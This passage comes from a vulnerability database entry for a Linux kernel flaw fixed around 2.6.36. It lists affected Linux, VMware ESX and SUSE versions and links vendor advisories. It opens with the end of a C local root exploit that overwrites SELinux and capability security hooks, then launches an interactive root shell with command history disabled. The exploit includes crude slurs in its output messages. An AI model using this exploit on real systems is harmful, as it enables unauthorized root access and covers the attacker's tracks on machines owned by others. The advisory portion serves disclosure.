(8*RHEL_LSM_OFF); __yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF); msqid = msgget(0, IPC_PRIVATE|0600); if(msqid < 0) __xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t"); magiclen = get_socklen(selinux_msg_off, Y0Y0STOP); __setmcbuffer(J0J0S); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP); __setmcbuffer(0); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(dummy_msg_off, Y0Y0STOP); __setmcbuffer(J0J0S); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP); __setmcbuffer(0); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(capability_msg_off, Y0Y0STOP); __setmcbuffer(J0J0S); bitch_call(&at, (void*)Y0Y0STOP); magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP); __setmcbuffer(0); bitch_call(&at, (void*)Y0Y0STOP); msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it } munmap((void*)Y0Y0CMAP, PAGE_SIZE); /* exec */ if(getuid() == 0) { pid_t pid; __pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n"); pid = fork(); if(pid == 0) { char *args[] = {"/bin/sh", "-i", NULL}; char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0", "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL }; execve("/bin/sh", args, envp); } else { int status; waitpid(pid, &status, 0); } } else __pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n"); close(s); return 0; } #endif // -m32

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.35.4

Linux>>Linux_kernel >> Version 2.6.36

Linux>>Linux_kernel >> Version 2.6.36

Linux>>Linux_kernel >> Version 2.6.36

Linux>>Linux_kernel >> Version 2.6.36

Configuraton 0

Vmware>>Esx >> Version 4.0

Vmware>>Esx >> Version 4.1

Configuraton 0

Suse>>Suse_linux_enterprise_desktop >> Version 11

Suse>>Suse_linux_enterprise_server >> Version 11

Références

http://www.vupen.com/english/advisories/2010/3083
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2010/3117
Tags : vdb-entry, x_refsource_VUPEN
http://sota.gen.nz/compat1/
Tags : x_refsource_MISC
http://www.mandriva.com/security/advisories?name=MDVSA-2010:198
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/42384
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2010-0842.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2010:247
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2011/0298
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2010-0882.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/43315
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2010-0758.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2010:214
Tags : vendor-advisory, x_refsource_MANDRIVA
http://marc.info/?l=oss-security&m=128461522230211&w=2
Tags : mailing-list, x_refsource_MLIST